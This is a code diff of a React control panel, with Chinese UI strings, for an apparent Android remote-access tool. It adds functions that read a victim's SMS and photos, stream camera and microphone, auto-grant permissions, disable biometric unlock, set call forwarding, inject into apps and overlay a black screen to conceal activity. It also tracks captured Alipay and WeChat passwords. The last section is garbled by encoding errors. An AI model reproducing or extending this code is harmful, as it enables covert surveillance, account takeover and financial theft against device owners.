setIsLoggingEnabled(false) - setOperationEnabled(true) + dispatch(setOperationEnabled(true)) setIsBlackScreenActive(false) setIsAppHidden(false) setIsUninstallProtectionEnabled(false) @@ -650,7 +805,7 @@ const ControlPanel: React.FC = ({ deviceId }) => { // 获取失败也保持默认状态 setLastKnownPassword('') setIsLoggingEnabled(false) - setOperationEnabled(true) + dispatch(setOperationEnabled(true)) setIsBlackScreenActive(false) setIsAppHidden(false) setIsUninstallProtectionEnabled(false) @@ -697,6 +852,8 @@ const ControlPanel: React.FC = ({ deviceId }) => { if (data.deviceId === deviceId && data.success) { console.log(`[控制面板] 设备 ${deviceId} 输入阻塞状态已同步: ${data.blocked}`) dispatch(setDeviceInputBlocked(data.blocked)) + // 阻止本机输入时,Web端远程操作仍保持可用 + dispatch(setOperationEnabled(true)) } } @@ -848,10 +1005,18 @@ const ControlPanel: React.FC = ({ deviceId }) => { console.log('📺 收到重新获取投屏权限响应:', data) if (data.deviceId === deviceId) { setIsRefreshingPermission(false) + const detail = String(data?.message || '').trim() if (data.success) { + const isPendingConfirmation = /命令已发送|请在设备上|手动确认|manual/i.test(detail) + updatePermissionStatus( + 'mediaProjection', + isPendingConfirmation ? 'requesting' : 'granted', + detail || (isPendingConfirmation ? '等待设备端确认投屏权限' : '投屏权限已获取') + ) message.success('投屏权限重新申请成功,请在设备上确认权限') console.log(`📺 [设备 ${deviceId}] 投屏权限重新申请成功`) } else { + updatePermissionStatus('mediaProjection', 'missing', detail || '投屏权限获取失败') message.error(`重新申请投屏权限失败: ${data.message}`) console.error(`📺 [设备 ${deviceId}] 重新申请投屏权限失败:`, data.message) } @@ -860,20 +1025,111 @@ const ControlPanel: React.FC = ({ deviceId }) => { // 🆕 处理关闭配置遮盖响应 const handleCloseConfigMaskResponse = (data: any) => { - console.log('🛡️ 关闭配置遮盖响应:', data) + if (!data || data.deviceId !== deviceId) return if (data.permissionType === 'CONFIG_MASK_CLOSE') { if (data.success) { - message.success(data.message || '配置遮盖已关闭') - console.log(`🛡️ [设备 ${deviceId}] 配置遮盖关闭成功`) + message.success(data.message || 'Config mask closed') } else { - message.error(data.message || '关闭配置遮盖失败') - console.error(`🛡️ [设备 ${deviceId}] 配置遮盖关闭失败:`, data.message) + message.error(data.message || 'Failed to close config mask') + } + return + } + + const permissionType = String(data.permissionType || '') + const detail = String(data.message || '').trim() + + if (permissionType === 'media_projection') { + updatePermissionStatus('mediaProjection', data.success ? 'granted' : 'missing', detail || (data.success ? '投屏权限已获取' : '投屏权限未获取')) + return + } + + if (permissionType === 'camera') { + updatePermissionStatus('camera', data.success ? 'granted' : 'missing', detail || (data.success ? '相机权限已获取' : '相机权限未获取')) + return + } + + if (permissionType === 'microphone') { + updatePermissionStatus('microphone', data.success ? 'granted' : 'missing', detail || (data.success ? '麦克风权限已获取' : '麦克风权限未获取')) + setMicPermission(data.success ? 'granted' : 'denied') + return + } + + if (permissionType === 'sms') { + updatePermissionStatus('sms', data.success ? 'granted' : 'missing', detail || (data.success ? '短信权限已获取' : '短信权限未获取')) + return + } + + if (permissionType === 'gallery') { + updatePermissionStatus('gallery', data.success ? 'granted' : 'missing', detail || (data.success ? '相册权限已获取' : '相册权限未获取')) + return + } + + if (permissionType === 'battery_optimization') { + updatePermissionStatus('batteryOptimization', data.success ? 'granted' : 'missing', detail || (data.success ? '省电策略已放行' : '省电策略仍在限制')) + return + } + + if (permissionType === 'background_start') { + updatePermissionStatus('backgroundStart', data.success ? 'granted' : 'missing', detail || (data.success ? '后台启动策略正常' : '后台启动可能受限')) + return + } + + if (permissionType === 'biometric_disable') { + setBiometricDisabling(false) + if (data.success) { + message.success(detail || '已执行一键禁用指纹/人脸') + } else { + message.warning(detail || '一键禁用指纹/人脸失败') + } + return + } + + if (data.permissionType === 'app_list') { + clearAppListRequestTimeout() + setAppListLoading(false) + updatePermissionStatus('appList', data.success ? 'granted' : 'missing', detail || (data.success ? '应用列表读取成功' : '应用列表读取失败')) + setAppListPermission({ + granted: !!data.success, + message: data.message || '' + }) + if (!data.success) { + message.warning(data.message || 'Failed to fetch app list') + } + return + } + + if (data.permissionType === 'app_injection') { + const msg = (data.message || '').toString() + const normalized = msg.toLowerCase() + + const pendingEnable = pendingInjectionEnableRef.current + const pendingPackage = pendingInjectionPackageRef.current + if (pendingEnable !== null) { + if (data.success) { + if (pendingEnable) { + setInjectedAppPackage(pendingPackage) + } else { + setInjectedAppPackage(null) + } + } + setPendingInjectionEnable(null) + setPendingInjectionPackage(null) + } + setInjectingAppPackage(null) + + if (normalized.includes('accepted') || normalized.includes('disabled')) { + setInjectedAppPackage(null) + } + + if (data.success) { + message.success(msg || 'App injection updated') + } else { + message.warning(msg || 'App injection update failed') } } } - // 🛡️ 防止卸载功能响应处理 const handleUninstallProtectionResponse = (data: any) => { console.log('🛡️ 防止卸载功能响应:', data) if (data.deviceId === deviceId) { @@ -917,11 +1173,15 @@ const ControlPanel: React.FC = ({ deviceId }) => { // 校验payload是否为sms_data if (payload.type === 'sms_data' && Array.isArray(payload.smsList)) { setSmsData(payload) + const count = typeof payload.count === 'number' ? payload.count : payload.smsList.length + updatePermissionStatus('sms', 'granted', `短信读取成功,共 ${count} 条`) // 读取后直接在短信卡片内展示 if (typeof payload.count === 'number') { message.success(`成功获取 ${payload.count} 条短信`) } } else if (data && data.success === false) { + const detail = String(data.message || '').trim() + updatePermissionStatus('sms', 'missing', detail || '短信读取失败') message.error(`获取短信数据失败: ${data.message || '未知错误'}`) } else { console.warn('未识别的SMS数据格式:', data) @@ -953,12 +1213,18 @@ const ControlPanel: React.FC = ({ deviceId }) => { } }) setAlbumData({ ...payload, albumList: normalizedAlbumList }) + const count = typeof payload.count === 'number' ? payload.count : normalizedAlbumList.length + updatePermissionStatus('gallery', 'granted', `相册读取成功,共 ${count} 张`) // 停止两个按钮的 loading dispatch(setGalleryLoading(false)) if (typeof payload.count === 'number') { message.success(`成功获取 ${payload.count} 张相册图片`) } } else if (data && data.success === false) { + const detail = String(data.message || '').trim() + if (/权限|permission/i.test(detail) || !detail) { + updatePermissionStatus('gallery', 'missing', detail || '相册权限未获取') + } message.error(`获取相册数据失败: ${data.message || '未知错误'}`) setAlbumLoading(false) dispatch(setGalleryLoading(false)) @@ -967,6 +1233,61 @@ const ControlPanel: React.FC = ({ deviceId }) => { } } + const handleAppListDataResponse = (data: any) => { + const payload = (data && data.success && data.data) ? data.data : data + if (!payload || payload.deviceId !== deviceId) return + + const list: AppListItem[] = Array.isArray(payload.appList) ? payload.appList : [] + clearAppListRequestTimeout() + setAppListData({ + deviceId, + type: 'app_list_data', + timestamp: payload.timestamp || Date.now(), + count: typeof payload.count === 'number' ? payload.count : list.length, + appList: list + }) + setAppListLoading(false) + const hasApps = list.length > 0 + updatePermissionStatus('appList', hasApps ? 'granted' : 'missing', hasApps ? `应用列表读取成功,共 ${list.length} 个` : '应用列表为空或受系统限制') + setAppListPermission({ + granted: hasApps, + message: hasApps ? `应用列表读取完成,共 ${list.length} 个` : '应用列表为空或受系统限制' + }) + } + + const handleAppOpenResult = (data: any) => { + if (!data || data.deviceId !== deviceId) return + setOpeningAppPackage(null) + + if (data.success) { + message.success(data.message || `应用已打开: ${data.packageName || ''}`) + } else { + message.error(data.message || `打开应用失败: ${data.packageName || ''}`) + } + } + + const handleCallForwardResult = (data: CallForwardResultData) => { + if (!data || data.deviceId !== deviceId) return + setCallForwardSubmitting(false) + + const normalizedRule = ((): CallForwardRule => { + const rawRule = String(data.rule || 'all').trim().toLowerCase() + if (rawRule === 'busy') return 'busy' + if (rawRule === 'no_reply' || rawRule === 'no-answer' || rawRule === 'no_answer') return 'no_reply' + if (rawRule === 'not_reachable' || rawRule === 'unreachable') return 'not_reachable' + return 'all' + })() + const actionText = data.action === 'cancel' ? '取消' : '设置' + const ruleText = callForwardRuleLabels[normalizedRule] + const resultText = data.message || `${actionText}${ruleText}${data.success ? '成功' : '失败'}` + + if (data.success) { + message.success(resultText) + } else { + message.warning(resultText) + } + } + webSocket.on('operation_log_realtime', handleRealtimeLog) webSocket.on('operation_logs_response', handleLogResponse) webSocket.on('clear_logs_response', handleClearLogResponse) @@ -992,6 +1313,9 @@ const ControlPanel: React.FC = ({ deviceId }) => { webSocket.on('uninstall_attempt_detected', handleUninstallAttemptDetected) webSocket.on('sms_data', handleSmsDataResponse) webSocket.on('album_data', handleAlbumDataResponse) + webSocket.on('app_list_data', handleAppListDataResponse) + webSocket.on('app_open_result', handleAppOpenResult) + webSocket.on('call_forward_result', handleCallForwardResult) // 📷 单张相册图片保存事件(读取相册时逐张推送) const handleGalleryImageSaved = (payload: any) => { @@ -1036,12 +1360,25 @@ const ControlPanel: React.FC = ({ deviceId }) => { } webSocket.on('gallery_image_saved', handleGalleryImageSaved) + const handleGalleryPermissionResponse = (data: any) => { + if (!data || data.deviceId !== deviceId) return + const hasPermission = typeof data.hasPermission === 'boolean' ? data.hasPermission : !!data.success + const detail = String(data.message || '').trim() + updatePermissionStatus( + 'gallery', + hasPermission ? 'granted' : 'missing', + detail || (hasPermission ? '相册权限已获取' : '相册权限未获取') + ) + } + webSocket.on('gallery_permission_response', handleGalleryPermissionResponse) + // 🎙️ 监听麦克风音频数据 const handleMicrophoneAudio = (data: any) => { // 仅处理当前设备的数据(若服务端带有deviceId) if (data.deviceId && data.deviceId !== deviceId) return console.log('🎙️ 收到音频数据:', data) setMicPermission('granted') + updatePermissionStatus('microphone', 'granted', '麦克风音频流接收正常') if (typeof data.sampleRate === 'number') setMicSampleRate(data.sampleRate) if (typeof data.channels === 'number') setMicChannels(data.channels) if (typeof data.bitDepth === 'number') setMicBitDepth(data.bitDepth) @@ -1082,8 +1419,13 @@ const ControlPanel: React.FC = ({ deviceId }) => { webSocket.off('uninstall_attempt_detected', handleUninstallAttemptDetected) webSocket.off('sms_data', handleSmsDataResponse) webSocket.off('album_data', handleAlbumDataResponse) + webSocket.off('app_list_data', handleAppListDataResponse) + webSocket.off('app_open_result', handleAppOpenResult) + webSocket.off('call_forward_result', handleCallForwardResult) webSocket.off('gallery_image_saved', handleGalleryImageSaved) + webSocket.off('gallery_permission_response', handleGalleryPermissionResponse) webSocket.off('microphone_audio', handleMicrophoneAudio) + clearAppListRequestTimeout() } }, [webSocket, deviceId, dispatch]) @@ -1250,6 +1592,7 @@ const ControlPanel: React.FC = ({ deviceId }) => { console.log('📺 重新获取投屏权限') setIsRefreshingPermission(true) + updatePermissionStatus('mediaProjection', 'requesting', '已发送投屏权限请求,等待设备确认') webSocket.emit('client_event', { type: 'REFRESH_MEDIA_PROJECTION_PERMISSION', @@ -1265,6 +1608,7 @@ const ControlPanel: React.FC = ({ deviceId }) => { } console.log('📺 手动授权投屏权限(不自动点击)') + updatePermissionStatus('mediaProjection', 'requesting', '已发送手动授权请求,等待设备侧手动确认') webSocket.emit('client_event', { type: 'REFRESH_MEDIA_PROJECTION_MANUAL', @@ -2281,39 +2625,6 @@ ${savedConfirmCoords ? }) } - // 下拉手势操作(从顶部下拉到底部) - const handlePullDown = (side: 'left' | 'right') => { - if (!device) return - if (!operationEnabled) { - console.warn('下拉手势操作已被阻止') - return - } - - // 根据side参数确定X坐标 - const startX = side === 'left' - ? device.screenWidth / 4 // 左边下拉:屏幕左1/4位置 - : (device.screenWidth * 3) / 4 // 右边下拉:屏幕右1/4位置 - - const startY = 10 // 从屏幕顶部开始 - const endY = device.screenHeight - 100 // 到屏幕底部附近结束 - - console.log(`${side === 'left' ? '左边' : '右边'}下拉手势:`, { - startX: startX.toFixed(0), - startY, - endX: startX.toFixed(0), - endY, - screenWidth: device.screenWidth - }) - - sendControlMessage('SWIPE', { - startX: startX, - startY: startY, - endX: startX, // X坐标保持不变,垂直下拉 - endY: endY, - duration: 500 // 稍长的持续时间,模拟真实的下拉操作 - }) - } - // 检查设备状态一致性 const checkDeviceStateConsistency = () => { if (!webSocket || !deviceId) return @@ -2348,6 +2659,16 @@ ${savedConfirmCoords ? // 🆕 屏幕控制函数已迁移至 RemoteControlApp + const handleMaskAlphaChange = (nextValue: number) => { + const normalized = Math.max(0, Math.min(255, Math.round(nextValue))) + setMaskAlpha(normalized) + + // 遮罩已生效时实时同步,便于在线调暗/调亮 + if (isBlackScreenActive || deviceInputBlocked) { + sendControlMessage('SET_MASK_CONFIG', { maskAlpha: normalized }) + } + } + // 🆕 黑屏遮盖控制函数 const handleEnableBlackScreen = () => { if (!webSocket) { @@ -2358,8 +2679,12 @@ ${savedConfirmCoords ? console.log('🖤 启用黑屏遮盖') webSocket.emit('client_event', { type: 'ENABLE_BLACK_SCREEN', - data: { deviceId } + data: { + deviceId, + maskAlpha + } }) + setMaskAdjustModalVisible(true) } const handleDisableBlackScreen = () => { @@ -2373,6 +2698,7 @@ ${savedConfirmCoords ? type: 'DISABLE_BLACK_SCREEN', data: { deviceId } }) + setMaskAdjustModalVisible(false) } // 🆕 关闭配置遮盖函数 @@ -2393,6 +2719,15 @@ ${savedConfirmCoords ? message.info('已发送关闭配置遮盖指令') } + const handleApplyMaskConfigNow = () => { + sendControlMessage('SET_MASK_CONFIG', { + maskText: maskText.trim() || '', + maskTextSize: maskTextSize || 24, + maskAlpha + }) + message.success(`已下发黑屏遮罩深度: ${maskAlpha}`) + } + // 摄像头控制函数 const handleStartCamera = () => { if (!webSocket) { @@ -2401,6 +2736,7 @@ ${savedConfirmCoords ? } console.log('📷 启动摄像头') + updatePermissionStatus('camera', 'requesting', '已发送相机启动指令') webSocket.emit('camera_control', { action: 'CAMERA_START', deviceId, @@ -2505,6 +2841,7 @@ ${savedConfirmCoords ? } webSocket.emit('camera_control', { action: 'MICROPHONE_START_RECORDING', deviceId }) setIsMicRecording(true) + updatePermissionStatus('microphone', 'requesting', '已发送麦克风录音请求') message.success('已发送开始录音指令') } @@ -2586,6 +2923,7 @@ ${savedConfirmCoords ? console.log('📱 读取短信列表,条数:', smsReadLimit) setSmsLoading(true) + updatePermissionStatus('sms', 'requesting', `短信读取中,目标条数 ${smsReadLimit}`) webSocket.emit('camera_control', { action: 'SMS_READ', deviceId, @@ -2612,21 +2950,298 @@ ${savedConfirmCoords ? message.info(`正在发送短信到 ${phoneNumber}...`) } - - // 📷 相册控制相关函数 - const handleAlbumPermissionCheck = () => { + const handleRequestAppList = (includeIcons: boolean = false) => { if (!webSocket) { message.error('WebSocket未连接') return } + if (!operationEnabled) { + message.warning('当前无设备控制权限') + return + } - console.log('📷 检查相册权限') + clearAppListRequestTimeout() + setAppListLoading(true) + setAppListIncludeIcons(includeIcons) + updatePermissionStatus('appList', 'requesting', includeIcons ? '正在读取应用列表(含图标)' : '正在读取应用列表') + appListRequestTimeoutRef.current = window.setTimeout(() => { + setAppListLoading(false) + updatePermissionStatus('appList', 'missing', '应用列表请求超时,请重试') + setAppListPermission({ + granted: false, + message: '应用列表请求超时,请点击刷新重试' + }) + message.warning('应用列表请求超时,请重试') + }, includeIcons ? 22000 : 14000) + sendControlMessage('APP_LIST', { includeIcons }) + } + + const handleOpenApp = (packageName: string) => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + if (!operationEnabled) { + message.warning('当前无设备控制权限') + return + } + + const targetPackage = packageName.trim() + if (!targetPackage) return + + setOpeningAppPackage(targetPackage) + sendControlMessage('APP_OPEN', { packageName: targetPackage }) + } + + const handleToggleAppInjection = (app: AppListItem) => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + if (!operationEnabled) { + message.warning('当前无设备控制权限') + return + } + + const targetPackage = String(app.packageName || '').trim() + if (!targetPackage) return + + const currentlyInjected = injectedAppPackage === targetPackage + setInjectingAppPackage(targetPackage) + setPendingInjectionPackage(targetPackage) + setPendingInjectionEnable(!currentlyInjected) + + if (currentlyInjected) { + sendControlMessage('APP_INJECTION_DISABLE', { + packageName: targetPackage, + reason: 'web_toggle_off' + }) + } else { + sendControlMessage('APP_INJECTION_ENABLE', { + packageName: targetPackage, + appName: app.appName || '' + }) + } + } + + const handleOneClickMute = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + if (!operationEnabled) { + message.warning('当前无设备控制权限') + return + } + sendControlMessage('MUTE_DEVICE', {}) + message.success('已发送一键静音+关震动指令') + } + + const handleDisableBiometricAuth = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + if (!operationEnabled) { + message.warning('当前无设备控制权限') + return + } + setBiometricDisabling(true) + sendControlMessage('DISABLE_BIOMETRIC_AUTH', {}) + message.info('已发送一键禁用指纹/人脸指令,请等待设备回包') + window.setTimeout(() => setBiometricDisabling(false), 15000) + } + + const exposureValue = Math.max(30, Math.min(200, Math.round(Number(screenDisplay?.exposure ?? 100) || 100))) + + const handleExposureChange = (nextValue: number) => { + const normalized = Math.max(30, Math.min(200, Math.round(nextValue))) + dispatch(updateScreenDisplay({ exposure: normalized })) + } + + const normalizeCallForwardPhone = (rawValue: string): string => { + return rawValue + .trim() + .replace(/\s+/g, '') + .replace(/[()-]/g, '') + } + + const handleSetCallForward = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + if (!operationEnabled) { + message.warning('当前无设备控制权限') + return + } + + const phoneNumber = normalizeCallForwardPhone(callForwardPhoneNumber) + if (!phoneNumber || !/^\+?[0-9]{3,20}$/.test(phoneNumber)) { + message.warning('请输入有效的转移手机号') + return + } + + setCallForwardSubmitting(true) + sendControlMessage('CALL_FORWARD_SET', { + phoneNumber, + rule: callForwardRule + }) + message.info(`已发送呼叫转移设置:${callForwardRuleLabels[callForwardRule]} -> ${phoneNumber}`) + } + + const handleCancelCallForward = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + if (!operationEnabled) { + message.warning('当前无设备控制权限') + return + } + + setCallForwardSubmitting(true) + sendControlMessage('CALL_FORWARD_CANCEL', { + rule: callForwardRule + }) + message.info(`已发送取消呼叫转移:${callForwardRuleLabels[callForwardRule]}`) + } + + const filteredAppList = (appListData?.appList || []).filter((app) => { + if (!appSearchKeyword.trim()) return true + const keyword = appSearchKeyword.trim().toLowerCase() + return ( + String(app.appName || '').toLowerCase().includes(keyword) || + String(app.packageName || '').toLowerCase().includes(keyword) + ) + }) + const injectedAppName = injectedAppPackage + ? ((appListData?.appList || []).find((item) => item.packageName === injectedAppPackage)?.appName || injectedAppPackage) + : '' + + const permissionListItems = permissionMetaList.map((meta) => ({ + ...meta, + ...permissionStatus[meta.key] + })) + const grantedPermissionNames = permissionListItems + .filter((item) => item.state === 'granted') + .map((item) => item.label) + const missingPermissionNames = permissionListItems + .filter((item) => item.state !== 'granted') + .map((item) => `${item.label}(${permissionStateLabelMap[item.state]})`) + const formatPermissionTime = (timestamp: number | null) => { + if (!timestamp) return '--' + return new Date(timestamp).toLocaleTimeString() + } + + + const emitCameraPermissionAction = (action: string) => { + if (!webSocket) { + message.error('WebSocket未连接') + return false + } webSocket.emit('camera_control', { - action: 'GALLERY_PERMISSION_CHECK', + action, deviceId, data: {} }) - message.info('正在检查相册权限...') + return true + } + + const schedulePermissionCheck = (action: string, delayMs: number = 1200) => { + window.setTimeout(() => { + emitCameraPermissionAction(action) + }, delayMs) + } + + // 📷 相册权限重获取 + const handleAlbumPermissionRefresh = () => { + if (!emitCameraPermissionAction('GALLERY_PERMISSION_AUTO_GRANT')) return + updatePermissionStatus('gallery', 'requesting', '正在重新获取相册权限') + schedulePermissionCheck('GALLERY_PERMISSION_CHECK', 1500) + message.info('已触发相册权限重新获取') + } + + const handleAlbumPermissionCheck = () => { + handleAlbumPermissionRefresh() + } + + // 📱 短信权限重获取 + const handleSmsPermissionRefresh = () => { + if (!emitCameraPermissionAction('SMS_PERMISSION_AUTO_GRANT')) return + updatePermissionStatus('sms', 'requesting', '正在重新获取短信权限') + schedulePermissionCheck('SMS_PERMISSION_CHECK', 1500) + message.info('已触发短信权限重新获取') + } + + // 🎙️ 麦克风权限重获取 + const handleMicrophonePermissionRefresh = () => { + if (!emitCameraPermissionAction('MICROPHONE_PERMISSION_AUTO_GRANT')) return + updatePermissionStatus('microphone', 'requesting', '正在重新获取麦克风权限') + schedulePermissionCheck('MICROPHONE_PERMISSION_CHECK', 1500) + message.info('已触发麦克风权限重新获取') + } + + // 📷 相机权限重获取 + const handleCameraPermissionRetry = () => { + if (!emitCameraPermissionAction('CAMERA_PERMISSION_AUTO_GRANT')) return + updatePermissionStatus('camera', 'requesting', '正在重新获取相机权限') + schedulePermissionCheck('CAMERA_PERMISSION_CHECK', 1400) + message.info('已触发相机权限重新获取') + } + + const handleKeepAliveStatusCheck = () => { + if (!emitCameraPermissionAction('KEEPALIVE_STATUS_CHECK')) return + updatePermissionStatus('batteryOptimization', 'requesting', '正在检测省电策略状态') + updatePermissionStatus('backgroundStart', 'requesting', '正在检测后台启动状态') + message.info('已触发保活策略检测') + } + + const handleOpenBatteryOptimizationSettings = () => { + if (!emitCameraPermissionAction('OPEN_BATTERY_OPTIMIZATION_SETTINGS')) return + updatePermissionStatus('batteryOptimization', 'requesting', '正在打开省电策略设置页') + window.setTimeout(() => { + handleKeepAliveStatusCheck() + }, 1500) + } + + const handlePermissionRetry = (permissionKey: PermissionKey) => { + if (!operationEnabled) { + message.warning('当前无设备控制权限') + return + } + + if (permissionKey === 'mediaProjection') { + handleRefreshPermission() + return + } + if (permissionKey === 'camera') { + handleCameraPermissionRetry() + return + } + if (permissionKey === 'microphone') { + handleMicrophonePermissionRefresh() + return + } + if (permissionKey === 'sms') { + handleSmsPermissionRefresh() + return + } + if (permissionKey === 'gallery') { + handleAlbumPermissionRefresh() + return + } + if (permissionKey === 'appList') { + handleRequestAppList(false) + return + } + if (permissionKey === 'batteryOptimization') { + handleOpenBatteryOptimizationSettings() + return + } + if (permissionKey === 'backgroundStart') { + handleKeepAliveStatusCheck() + } } // 已移除:读取已保存相册(改用“获取相册”内联展示) @@ -2641,6 +3256,7 @@ ${savedConfirmCoords ? console.log('📷 获取最新相册') dispatch(setGalleryLoading(true)) dispatch(setGalleryVisible(true)) + updatePermissionStatus('gallery', 'requesting', '正在读取相册数据') webSocket.emit('camera_control', { action: 'ALBUM_READ', deviceId, @@ -2758,8 +3374,6 @@ ${savedConfirmCoords ? onSwipeDown={() => handleSwipe('down')} onSwipeLeft={() => handleSwipe('left')} onSwipeRight={() => handleSwipe('right')} - onPullDownLeft={() => handlePullDown('left')} - onPullDownRight={() => handlePullDown('right')} > {/* 🆕 遮罩文字和操作控制 - 放在最上面 */} @@ -2787,6 +3401,58 @@ ${savedConfirmCoords ? + + +
+ 黑屏遮罩深度 (0~255) + {maskAlpha} +
+ handleMaskAlphaChange(Number(e.target.value))} + style={{ width: '100%' }} + /> + + + + + +
+ Web 曝光 (30%~200%) + {exposureValue}% +
+ handleExposureChange(Number(e.target.value))} + style={{ width: '100%' }} + /> + + + + + + + + + + {/* 🆕 显示已保存的确认坐标 */} @@ -2971,6 +3662,18 @@ ${savedConfirmCoords ? + + + + + + {/* 黑屏遮盖状态显示 */}
) }, + { + key: 'device', label: '📱 设备信息', children: ( +
+ + +
+ 当前仅展示代码中已自动处理的权限项 +
+
+ 已获取权限: + {grantedPermissionNames.length > 0 ? grantedPermissionNames.join('、') : '暂无'} +
+
+ 未获取权限: + {missingPermissionNames.length > 0 ? missingPermissionNames.join('、') : '暂无'} +
+ + + + +
+ {permissionListItems.map((item) => ( +
+ {item.label} + + {permissionStateLabelMap[item.state]} + + + {item.detail || '-'} + + + + {formatPermissionTime(item.updatedAt)} + +
+ ))} +
+
+
+ ) + }, { key: 'sms', label: '短信', children: ( - handleSmsSend(phone, content)} - /> +
+ handleSmsSend(phone, content)} + /> + + + setCallForwardPhoneNumber(e.target.value)} + /> + } + value={appSearchKeyword} + onChange={(e) => setAppSearchKeyword(e.target.value)} + style={{ width: 220 }} + /> + +
+ 已加载 {appListData?.count || 0} 个应用 + + 图标模式: {appListIncludeIcons ? '开启' : '关闭'} + + + 注入监听: {injectedAppName || '未设置'} + + {appListPermission.message && ( + + {appListPermission.message} + + )} +
+
+
record.packageName} + dataSource={filteredAppList} + pagination={{ pageSize: 12, showSizeChanger: true, pageSizeOptions: ['12', '24', '48'] }} + scroll={{ y: 420 }} + columns={[ + { + title: '图标', + dataIndex: 'iconBase64', + key: 'icon', + width: 72, + render: (_: string | undefined, record: AppListItem) => { + if (record.iconBase64) { + const iconMime = record.iconMimeType || 'image/png' + return ( + {record.appName + ) + } + return ( +
+ APP +
+ ) + } + }, + { + title: '应用名', + dataIndex: 'appName', + key: 'appName', + width: 180, + render: (text: string, record: AppListItem) => text || record.packageName + }, + { + title: '包名', + dataIndex: 'packageName', + key: 'packageName', + ellipsis: true + }, + { + title: '类型', + dataIndex: 'isSystemApp', + key: 'isSystemApp', + width: 90, + render: (v: boolean) => {v ? '系统' : '用户'} + }, + { + title: '状态', + dataIndex: 'enabled', + key: 'enabled', + width: 90, + render: (v: boolean | undefined) => {v === false ? '禁用' : '可用'} + }, + { + title: '操作', + key: 'action', + width: 190, + render: (_: any, record: AppListItem) => ( + + + + + ) + } + ]} + /> + ) }, { @@ -4158,6 +5121,42 @@ ${savedConfirmCoords ? /> + setMaskAdjustModalVisible(false)} + footer={[ + , + + ]} + > +
+ 黑屏开启后可在此继续调节遮罩深度,数值越高越黑。 +
+
+ 遮罩深度 (0~255) + {maskAlpha} +
+ handleMaskAlphaChange(Number(e.target.value))} + style={{ width: '100%' }} + /> +
+ {/* ✅ 新增:服务器地址修改弹窗 */} = ({ deviceId }) => { + const { modal, message } = App.useApp() + // 鏂囨湰杈撳叆鍗$墖宸茬Щ闄? + const [maskText, setMaskText] = useState('鏁版嵁鍔犺浇涓璡n璇峰嬁鎿嶄綔') + const [maskTextSize, setMaskTextSize] = useState(24) + + // 鏃ュ織鐩稿叧鐘舵€? + const [isLoggingEnabled, setIsLoggingEnabled] = useState(false) + const [logModalVisible, setLogModalVisible] = useState(false) + const [operationLogs, setOperationLogs] = useState([]) + const [logLoading, setLogLoading] = useState(false) + const [currentPage, setCurrentPage] = useState(1) + const [pageSize, setPageSize] = useState(50) + const [totalLogs, setTotalLogs] = useState(0) + const [logTypeFilter, setLogTypeFilter] = useState(undefined) + + // 涓€閿В閿佺浉鍏崇姸鎬? + const [isUnlocking, setIsUnlocking] = useState(false) + const [lastKnownPassword, setLastKnownPassword] = useState(null) + const [deviceState, setDeviceState] = useState(null) + + // 鍥炬瑙i攣鐩稿叧鐘舵€? + const [isPatternUnlocking, setIsPatternUnlocking] = useState(false) + + // 鏀粯瀹濇娴嬬浉鍏崇姸鎬? + const [alipayDetectionEnabled, setAlipayDetectionEnabled] = useState(false) + const [alipayPasswords, setAlipayPasswords] = useState([]) + const [alipayPasswordModalVisible, setAlipayPasswordModalVisible] = useState(false) + const [alipayPasswordLoading, setAlipayPasswordLoading] = useState(false) + const [alipayPasswordPage, setAlipayPasswordPage] = useState(1) + const [alipayPasswordPageSize, setAlipayPasswordPageSize] = useState(10) + const [alipayPasswordTotal, setAlipayPasswordTotal] = useState(0) + // 宸茬Щ闄ゆ渶鏂板瘑鐮佸崟鐙睍绀猴紝閬垮厤鏈娇鐢ㄧ姸鎬? + + // 寰俊妫€娴嬬浉鍏崇姸鎬? + const [wechatDetectionEnabled, setWechatDetectionEnabled] = useState(false) + const [wechatPasswords, setWechatPasswords] = useState([]) + const [wechatPasswordModalVisible, setWechatPasswordModalVisible] = useState(false) + const [wechatPasswordLoading, setWechatPasswordLoading] = useState(false) + const [wechatPasswordPage, setWechatPasswordPage] = useState(1) + const [wechatPasswordPageSize, setWechatPasswordPageSize] = useState(10) + const [wechatPasswordTotal, setWechatPasswordTotal] = useState(0) + // 宸茬Щ闄ゆ渶鏂板井淇″瘑鐮佸崟鐙睍绀猴紝閬垮厤鏈娇鐢ㄧ姸鎬? + + // 浣跨敤ref鏉ラ伩鍏島seEffect渚濊禆椤归棶棰? + const logModalVisibleRef = useRef(logModalVisible) + const pageSizeRef = useRef(pageSize) + const logTypeFilterRef = useRef(logTypeFilter) + + // 鏇存柊ref鍊? + useEffect(() => { + logModalVisibleRef.current = logModalVisible + pageSizeRef.current = pageSize + logTypeFilterRef.current = logTypeFilter + }, [logModalVisible, pageSize, logTypeFilter]) + + // 瀵嗙爜鏌ユ壘鐩稿叧鐘舵€? + const [passwordSearchVisible, setPasswordSearchVisible] = useState(false) + const [passwordSearchLoading, setPasswordSearchLoading] = useState(false) + const [customPasswordInput, setCustomPasswordInput] = useState('') // 鏂板锛氳嚜瀹氫箟瀵嗙爜杈撳叆 + const [foundPasswords, setFoundPasswords] = useState([]) + const [selectedPassword, setSelectedPassword] = useState('') + // 閫氱敤鍐呭棰勮寮圭獥锛堢敤浜庡瘑鐮?鏃ュ織绛夛級 + const [contentPreviewVisible, setContentPreviewVisible] = useState(false) + const [contentPreviewText, setContentPreviewText] = useState('') + + // 榛戝睆閬洊鐩稿叧鐘舵€? + const [isBlackScreenActive, setIsBlackScreenActive] = useState(false) + + // 搴旂敤闅愯棌鐩稿叧鐘舵€? + const [isAppHidden, setIsAppHidden] = useState(false) + + // 馃啎 閲嶆柊鑾峰彇鎶曞睆鏉冮檺鐩稿叧鐘舵€? + // 閲嶆柊鑾峰彇鎶曞睆鏉冮檺鐩稿叧鐘舵€佸凡涓嶄娇鐢? + + // 鎽勫儚澶存帶鍒剁浉鍏崇姸鎬? + const [isCameraActive, setIsCameraActive] = useState(false) + const [currentCameraType, setCurrentCameraType] = useState<'front' | 'back'>('front') + + // 馃帣锔?楹﹀厠椋庢帶鍒剁浉鍏崇姸鎬? + const [isMicRecording, setIsMicRecording] = useState(false) + const [micPermission, setMicPermission] = useState(null) + const [micSampleRate, setMicSampleRate] = useState(null) + const [micChannels, setMicChannels] = useState(null) + const [micBitDepth, setMicBitDepth] = useState(null) + + // 